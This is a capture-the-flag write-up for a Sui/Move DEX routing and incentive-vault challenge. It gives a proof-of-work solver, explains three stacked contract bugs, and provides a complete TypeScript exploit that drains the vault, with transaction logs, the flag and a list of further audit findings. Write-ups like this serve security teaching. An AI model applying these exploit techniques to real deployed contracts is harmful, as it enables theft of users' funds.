A Sui / Move “DEX routing + incentive vault” protocol. The intended incentive payout is exactly 1; the win needs 500. Three stacked bugs turn that 1-token drip into a full 1000-token drain.
Challenge Description
ALL IN, HIGH-RISK, HIGH-REWARD.
We are given the Move package and a launcher that spins up a private Sui network with the package pre-deployed. The win condition is flipping Setup.solved to true.
The connection is a TCP1P-CTF-Blockchain-Infra launcher (Next.js frontend, gunicorn backend). Pulling the frontend chunk shows the whole API:
curl -s http://34.2.147.230:8501/_next/static/chunks/app/page-8419db4b143ac490.js \ | grep -oE 'fetch\([^)]{0,160}'fetch("/data"fetch("/status",{method:"GET",credentials:"include"}fetch("/challenge",{method:"GET"}fetch("/solution",{method:"POST",...body:JSON.stringify({solution:h}fetch("/".concat(e // e in {launch, kill, flag}/status returns 401 Authentication required until a proof-of-work is solved. /challenge hands out s.AAAnEA==.Iqu+BxybLKgg5ZaZWUXzug== — the classic kCTF sloth PoW (s.<b64 difficulty>.<b64 seed>, modulus 2^1279 - 1, difficulty 0x2710 = 10000).
Solver — pure-Python takes ~75 s, gmpy2 brings it to ~9 s:
import base64, sysfrom gmpy2 import mpz, powmodVERSION, MODULUS = 's', mpz(2)**1279 - 1
def decode_number(enc): return int.from_bytes(base64.b64decode(enc.encode()), 'big')def encode_number(num): num = int(num); size = (num.bit_length() // 24) * 3 + 3 return base64.b64encode(num.to_bytes(size, 'big')).decode()
def sloth_root(x, diff, p): exponent, x = (p + 1) // 4, mpz(x) for _ in range(diff): x = powmod(x, exponent, p) ^ 1 return x
def solve(chal): d = chal.strip().split('.'); assert d[0] == VERSION diff, x = map(decode_number, d[1:]) return VERSION + '.' + encode_number(sloth_root(x, diff, MODULUS))
print(solve(sys.argv[1]))/launch returns the RPC URL, a funded private key, and every object ID: PACKAGE_ID, the shared objects (SETUP_ID / REGISTRY / VAULT / POOL / CONFIG / ORACLE), and our owned OperatorAccount<CFX>. The description notes “Sui CLI cannot be used to interact”, so everything below goes through the @mysten/sui TypeScript SDK.
Initial Analysis
setup.move:
public entry fun solve(setup: &mut Setup, account: &vault::OperatorAccount<CFX>, config: &config::GlobalConfig) { assert!(vault::is_qualified(account, config), ENotQualified); setup.solved = true;}vault.move:
public fun is_qualified(account: &OperatorAccount<CFX>, config: &GlobalConfig): bool { account.earned >= config::bounty_target(config) // bounty_target = 500}earned is written in exactly one place — vault::claim_route_incentives:
public entry fun claim_route_incentives<Base, Quote, Strategy>( vault, pool, strategy, position, account, oracle, config, ctx) { let operator = tx_context::sender(ctx); assert!(!table::contains(&vault.claimed, operator), EAlreadyClaimed); // (A) once per address assert!(math::same_bytes(&vault.market, &pool::canonical_market(pool)), EWrongMarket); // (B) market must match assert!(math::same_bytes(&vault.market, registry::market(strategy)), EStrategyNotRegistered); // (C) assert!(pool::position_pool(position) == object::id(pool), 9); // (D) assert!(pool::effective_liquidity(pool, position) >= config::min_effective_liquidity(config), EInsufficientCfx); // (E) >= 500
let claim = pool::quoted_route_score(pool, oracle); let amount = math::min(claim, vault.balance); // vault.balance = 1000 vault.balance = vault.balance - amount; account.earned = account.earned + amount; table::add(&mut vault.claimed, operator, true);}So we need one claim worth ≥ 500. The payout is:
public fun quoted_route_score<Base, Quote>(pool: &RoutePool<Base, Quote>, oracle: &PriceOracle): u64 { let raw = pool.reserve_quote / pool.reserve_base; let oracle_price = oracle::price_e6(oracle); if (raw > oracle_price) { raw } else { oracle_price } // max(ratio, oracle)}The seeded pool is RoutePool<SUIX, USDC> with 1_000_000 / 1_000_000, and the oracle sits at price = 1 with admin = deployer (set_price is properly gated, so no oracle manipulation). The intended payout is max(1, 1) = 1. We need 500. That is the whole challenge.
The Vulnerabilities
Three bugs stack up. Individually each is survivable; together they turn a 1-token drip into a full 1000-token vault drain.
Bug 1 — market-key confusion: direct_market vs canonical_market
registry.move maintains two different string keys for the same logical market:
public fun canonical_market<A, B>(): vector<u8> { // ORDER-INDEPENDENT: min|max let left = type_bytes<A>(); let right = type_bytes<B>(); if (math::bytes_lt(&right, &left)) { math::join_key(right, left) } else { math::join_key(left, right) }}
public fun direct_market<A, B>(): vector<u8> { // ORDER-DEPENDENT: A|B math::join_key(type_bytes<A>(), type_bytes<B>())}The registry is seeded with only the direct key of the canonical ordering:
registry.listed_markets.push_back(direct_market<SUIX, USDC>()); // "…::SUIX|…::USDC"and pool::create_route_pool deduplicates on the direct key:
let direct = registry::direct_market<Base, Quote>();assert!(!registry::has_market(registry, &direct), EMarketAlreadyRegistered); // <-- wrong key…while the vault authorizes on the canonical key (check (B) above).
type_name::with_original_ids renders …::assets::SUIX and …::assets::USDC; the shared prefix means the comparison lands on 'S' (0x53) < 'U' (0x55), so SUIX < USDC and the canonical key is always SUIX|USDC.
Therefore instantiating the pool with the reversed type order:
<SUIX, USDC> (seeded) | <USDC, SUIX> (ours) | |
|---|---|---|
direct_market | SUIX|USDC — listed | USDC|SUIX — not listed ✅ |
canonical_market | SUIX|USDC | SUIX|USDC — matches vault.market ✅ |
We get to create a second, fully attacker-parameterised pool for the exact same logical market that the vault will happily accept. (normalize_market is called because is_ordered<USDC, SUIX>() is false, but it only re-adds the canonical key, which is already present — a no-op. It never notices the reversed duplicate.)
Bug 2 — the caller picks the price
create_route_pool takes the reserves as plain user input with no economic backing, no coin transfer, and only an upper bound:
assert!(reserve_base > 0 && reserve_quote > 0, EInvalidAmount);let cap = config::rebalance_cap(config); // 2_000_000assert!(reserve_base <= cap && reserve_quote <= cap, EPoolNotRebalanceable);There is no lower bound and no ratio sanity check, and quoted_route_score is a raw integer division of those two numbers. Choosing reserve_base = 1, reserve_quote = 2_000_000 gives:
claim = max(2_000_000 / 1, oracle_price=1) = 2_000_000math::min(2_000_000, vault.balance = 1000) = 1000, i.e. the entire vault, 2× the target. The rebalance_cap guard is pure theatre: it caps the numerator but never the ratio, which is the value that actually feeds the payout.
Bug 3 — anything with drop is a valid witness
The witness pattern is meant to prove “this call originated inside module X”, because only a struct’s defining module can construct it. Here it is defanged:
public entry fun register_route_strategy<Base, Quote, Strategy: drop>( registry: &mut RouteRegistry, _witness: Strategy, // taken by value, never validated ctx: &mut TxContext,) { let market = canonical_market<Base, Quote>(); let strategy_type = type_bytes<Strategy>(); assert!(!table::contains(®istry.strategies, strategy_type), EStrategyAlreadyRegistered); table::add(&mut registry.strategies, strategy_type, market); // …mints RouteStrategy<Strategy> { market: canonical_market<Base, Quote>(), … } to the sender}Strategy: drop is satisfied by primitive types, and a primitive is a valid pure argument in a PTB. So Strategy = u64 with the literal 0u64 as the “witness” mints a RouteStrategy<u64> whose market is whatever <Base, Quote> we ask for — we simply ask for <SUIX, USDC> and get an object that satisfies check (C). No permission, no module, no cost. (type_bytes<u64>() is just "u64", confirmed in the emitted event: strategy_type: [117,54,52].)
Bonus — liquidity is free
Check (E) demands effective_liquidity >= 500, but shares are minted from nothing:
public entry fun add_liquidity<Base, Quote>(pool, position, shares: u64, config: &GlobalConfig) { assert!(shares > 0, EInvalidAmount); assert!(position.pool == object::id(pool), EWrongPosition); let net_shares = math::apply_fee_floor(shares, config::liquidity_fee_bps(config)); // fee = 0 pool.lp_supply = pool.lp_supply + net_shares; pool.accounted_liquidity = pool.accounted_liquidity + net_shares; position.shares = position.shares + net_shares;}No Coin, no Balance, no cap. accounted_liquidity and lp_supply are initialised equal and mutated identically everywhere, so effective_liquidity = position.shares * accounted_liquidity / lp_supply == position.shares. Requesting 500 shares costs nothing but gas and clears the gate exactly.
Exploitation
create_route_pool<USDC, SUIX>(base=1, quote=2_000_000) ── Bug 1 + 2 → attacker-priced pool, canonical market matches vaultregister_route_strategy<SUIX, USDC, u64>(0u64) ── Bug 3 → RouteStrategy<u64> on the canonical marketopen_position<USDC, SUIX>(newPool) ── → RoutePosition bound to the new pooladd_liquidity(newPool, position, 500) ── Bonus → effective_liquidity = 500 ✔ check (E)claim_route_incentives<USDC, SUIX, u64>(…) ── → min(2_000_000, 1000) = 1000 earnedsetup::solve(setup, account, config) ── → 1000 >= 500 ✔ solved = trueThree transactions are needed, because create_route_pool shares the pool internally (it is not a PTB result, and a shared object created in a tx can’t be consumed by that same tx), and open_position transfers the position to the sender. Steps 4–6 do fit in one PTB.
import { SuiClient } from '@mysten/sui/client';import { Transaction } from '@mysten/sui/transactions';import { Ed25519Keypair } from '@mysten/sui/keypairs/ed25519';import { decodeSuiPrivateKey } from '@mysten/sui/cryptography';import fs from 'fs';
const C = JSON.parse(fs.readFileSync(new URL('./creds.json', import.meta.url)));const client = new SuiClient({ url: C.RPC_URL });const kp = Ed25519Keypair.fromSecretKey(decodeSuiPrivateKey(C.PRIVKEY).secretKey);
const P = C.PACKAGE_ID;const SUIX = `${P}::assets::SUIX`;const USDC = `${P}::assets::USDC`;
async function run(tx, label) { tx.setGasBudget(200_000_000); const r = await client.signAndExecuteTransaction({ signer: kp, transaction: tx }); const res = await client.waitForTransaction({ digest: r.digest, options: { showEffects: true, showObjectChanges: true, showEvents: true } }); console.log(`== ${label} == ${res.digest} -> ${res.effects.status.status}`); if (res.effects.status.status !== 'success') { console.log(res.effects.status); process.exit(1); } return res;}
// TX1 — skewed pool on the reversed type order + a u64 "witness" strategyconst tx1 = new Transaction();tx1.moveCall({ target: `${P}::pool::create_route_pool`, typeArguments: [USDC, SUIX], // Bug 1: direct key USDC|SUIX is unlisted arguments: [tx1.object(C.REGISTRY), tx1.object(C.CONFIG), tx1.pure.u64(1), tx1.pure.u64(2_000_000)], // Bug 2: ratio = 2_000_000});tx1.moveCall({ target: `${P}::registry::register_route_strategy`, typeArguments: [SUIX, USDC, 'u64'], // Bug 3: u64 has `drop` arguments: [tx1.object(C.REGISTRY), tx1.pure.u64(0)],});const r1 = await run(tx1, 'create_route_pool + register_route_strategy');const newPool = r1.objectChanges.find(o => o.type === 'created' && o.objectType.includes('::pool::RoutePool')).objectId;const strategy = r1.objectChanges.find(o => o.type === 'created' && o.objectType.includes('::registry::RouteStrategy')).objectId;
// TX2 — position on the new pool (shared object from TX1 must be consumed in a later tx)const tx2 = new Transaction();tx2.moveCall({ target: `${P}::pool::open_position`, typeArguments: [USDC, SUIX], arguments: [tx2.object(newPool)] });const r2 = await run(tx2, 'open_position');const position = r2.objectChanges.find(o => o.type === 'created' && o.objectType.includes('::pool::RoutePosition')).objectId;
// TX3 — free shares, drain the vault, solveconst tx3 = new Transaction();tx3.moveCall({ target: `${P}::pool::add_liquidity`, typeArguments: [USDC, SUIX], arguments: [tx3.object(newPool), tx3.object(position), tx3.pure.u64(500), tx3.object(C.CONFIG)] });tx3.moveCall({ target: `${P}::vault::claim_route_incentives`, typeArguments: [USDC, SUIX, 'u64'], arguments: [tx3.object(C.VAULT), tx3.object(newPool), tx3.object(strategy), tx3.object(position), tx3.object(C.ACCOUNT), tx3.object(C.ORACLE), tx3.object(C.CONFIG)] });tx3.moveCall({ target: `${P}::setup::solve`, arguments: [tx3.object(C.SETUP_ID), tx3.object(C.ACCOUNT), tx3.object(C.CONFIG)] });await run(tx3, 'add_liquidity + claim + solve');
const setup = await client.getObject({ id: C.SETUP_ID, options: { showContent: true } });console.log('Setup:', JSON.stringify(setup.data.content.fields));== create_route_pool + register_route_strategy == AWgtkNBDnaNWcJWfLfsVPFafP9osjHKPr8xuJav96nFj -> success created …::registry::RouteStrategy<u64> 0x750c4f86… created …::pool::RoutePool<…::USDC, …::SUIX> 0xbb26ad46… {"Shared":{"initial_shared_version":64}} event …::pool::RoutePoolCreated { reserve_base: "1", reserve_quote: "2000000" } event …::registry::StrategyRegistered { strategy_type: [117,54,52] } // "u64"
== open_position == B29PEBEsx6oFzBhezhS3uBSKyvd43LhE6uKgQCcVFQkt -> success created …::pool::RoutePosition<…::USDC, …::SUIX> 0x73f659dc…
== add_liquidity + claim_route_incentives + solve == 3mUcp6V7vKKo4nAiEkMeZ1XprgN6tBdvZaSRg5ExDhPk -> success event …::vault::IncentivesClaimed { amount: "1000", operator: "0x7e821dad…" }
Setup: {"id":{"id":"0x10e7f8c9…"},"solved":true}curl -s -c cj -b cj http://34.2.147.230:8501/flag# {"flag":"COMPFEST18{Allow_me_to_say_goodbye_to_the_Crypto_World_…}","message":"Congratulations!","success":true}Other bugs in the codebase (unused)
Found while auditing, not needed for the solve — but each is a genuine finding:
config::set_feesis a public entry with no capability check. Anyone can setliquidity_fee_bps/withdraw_fee_bpsto arbitrary values, including> 10000, which makesmath::apply_fee_floorunderflow and abort — a free permanent DoS onadd_liquidity.vault::donate_to_vaultis unauthenticated — anyone can inflatevault.balancefor free. Harmless here only becausemin(score, balance)is bottlenecked byscore.pool::remove_liquiditynever decrementsposition.shares— it burnspool.lp_supplyandpool.accounted_liquiditybut leaves the position untouched, so an LP keeps their claim forever after withdrawing.vault::create_operatorignores itsoperatorargument — theOperatorAccountrecords no owner at all, and since it hasstoreit is freely transferable. Combined with the per-senderclaimedtable, “one claim per operator” is really “one claim per address”, so 500 throwaway addresses claiming 1 each into the same account is a (slow, gas-expensive) alternative path to the same 500.pool::effective_liquiditycan overflow —position.shares * pool.accounted_liquidityis done inu64with no widening, so large-but-legitimate values abort instead of computing.math::mul_div_floorreturns0on a zero denominator instead of aborting — silently turning a division-by-zero bug into a wrong-but-plausible number.
Flag
COMPFEST18{Allow_me_to_say_goodbye_to_the_Crypto_World_...as_a_human_who_has_learned}